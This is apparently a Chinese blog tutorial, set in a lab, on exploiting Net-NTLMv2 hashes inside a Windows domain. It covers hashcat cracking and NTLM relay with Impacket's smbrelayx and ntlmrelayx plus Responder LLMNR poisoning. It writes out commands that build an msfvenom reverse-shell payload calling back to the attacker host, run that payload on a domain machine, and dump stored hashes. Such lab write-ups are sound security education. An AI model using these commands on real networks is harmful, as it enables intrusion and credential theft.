WEB安全--内网渗透--利用Net-NTLMv2 Hash

一、前言

在前两篇文章中分析了NTLM协议中Net-NTLMv2 Hash的生成、如何捕获Net-NTLMv2 Hash,现在就来探讨一下在内网环境中,如何利用Net-NTLMv2 Hash进行渗透。

二、Net-NTLM Hash的破解

工具:hashcat

原理:利用其内部的字典对Net-NTLMv2 Hash进行爆破。

能不能跑出来就看字典里面有没有了。 在Net-NTLM Hash的破解里面,如果是v1的话,拿到Net-NTLM就相当于拿NTLM HASH这个时候就没有Relay的必要性了;

但是在实际中遇到的例子往往不会是v1,而是v2。这个时候密码强度高一点,基本就跑不出来了,这种情况底下,不妨试一试Relay。

三、利用Net-NTLM Hash进行中间人攻击(Relay)

3.1、原理

中间人攻击:client认为attacker是server端,而server端也以为attacker是client端,attacker在中间起到进行数据转发的作用。

Attacker对type1、type2数据包只做转发,然后当Client发送type3时,Attacker利用自己手中域用户的Net-NTLMv2 Hash构建数据包发送给Server,实现成功登录。

工作组:

NTLM Relay攻击在工作组环境下感觉用处不大,因为工作组只是在一个内网环境中,各个机器并没有明确关系,所以这个时候relay的话需要账号密码相同,但是如果账号密码相同的话,为什么不直接用哈希传递呢?

域:

域环境中的hash都统一存储在域控的NTDS.dit中,如果域内没有限制域用户登录到指定机器,那么就能域用户relay到其他机器或者直接使用域控relay到域机器(域控默认开启smb签名,而其他域机器默认不开启)

所以我们抓到的Net-NTLMv2 Hash必须是域用户的信息,因为在域环境下域用户登录任意机器时,其的Net-NTLM Hash值是相同的。

3.2、实现方式

实验环境:

client:域控@administrator@192.168.228.10

server1: 域机器@192.168.228.13(win2008)

server2:域机器@192.168.228.40(win10)

attacker:kali@192.168.228.110

Impacket中的smbrelayx.py

攻击者伪造一个恶意的SMB服务器,当内网中有client访问这个SMB服务器时,smbrelayx.py将抓到client的NET-NTLM-Hash,然后重放给server端进行身份验证。

Impcaket中的ntlmrelayx.py

ntlmrelayx.py是对smbrelayx的改进,支持多种协议进行中继。

ntlmrelayx.py脚本可以直接用现有的 hash 去尝试重放指定的机器。

①

生成一个msf远控木马:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.228.110 LPORT=4444 -f exe > shell.exe

msf设置监听:

②

执行smbrelayx.py:

首先将生成的msf马拖到smbrelayx.py同目录下

python3 smbrelayx.py -h 192.168.228.13 -e ./shell.exe (-e选项在目标主机上传并运行payload,这里在server1(域机器)上线木马)

③

在域控上访问恶意的SMB服务器(attacker:kali@192.168.228.110)

④

smbrelayx.py拿到了当前用户的NET-NTLM-Hash(域用户)

msf获得了192.168.228.13(server1(域机器))的会话

⑤

responder -I eth0 -r -d -v 开启毒化

python3 ntlmrelayx.py -t smb://192.168.228.40(server2(域机器))

⑥

在域控资源管理器的地址栏中输入\\bbb时,系统会尝试连接主机"bbbbb"。首先它会检查本地host文件,然后检查DNS,如果都不存在,就会通过LLMNR协议进行多播,在局域网中进行搜索。此时可以在攻击机上看到Responder的响应,然后受害者的Windows机器会向攻击者进行身份验证。

⑦

responder开启毒化后将身份验证所需的NET-NTLM-Hash传到192.168.228.40(server2(域机器)),在server端进行验证。

Relay成功后这个脚本重放了445并执行了dumphash的命令,由于是域管用户,所以将server2(域机器)端存储的所有hash都dump出来了。

相关推荐
Thneonl13 小时前
Flink Operator 的隐藏陷阱:容器名不是你以为的那个
安全·kubernetes
Thneonl13 小时前
kubectl scale ds 是个 404:DaemonSet 没有 replicas
安全·kubernetes
青Cheng序员石头14 小时前
失控之前 | AI 安全到底在保护什么?
后端·安全·aigc
云水一下6 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
龙亘川6 天前
一网统管AI平台民生业务实践:基于城市数字底座赋能公积金业务服务升级
大数据·安全·智慧城市·开源软件·数据可视化·政务
kybs19916 天前
全球灾害数据分析可视化 毕业设计-附源码66794
vue.js·spring boot·mysql·安全·django·c#·asp.net
LorryJovens6 天前
【LAAP科研】双系统具身AGI范式研究——基于LAAP认知架构与Jev概率决策模型的系统性技术调研与范式验证
人工智能·gpt·安全·架构
其实防守也摸鱼6 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
山东科恩光电6 天前
提升安全性的关键技术:安全触边在工业自动化中的应用解析
安全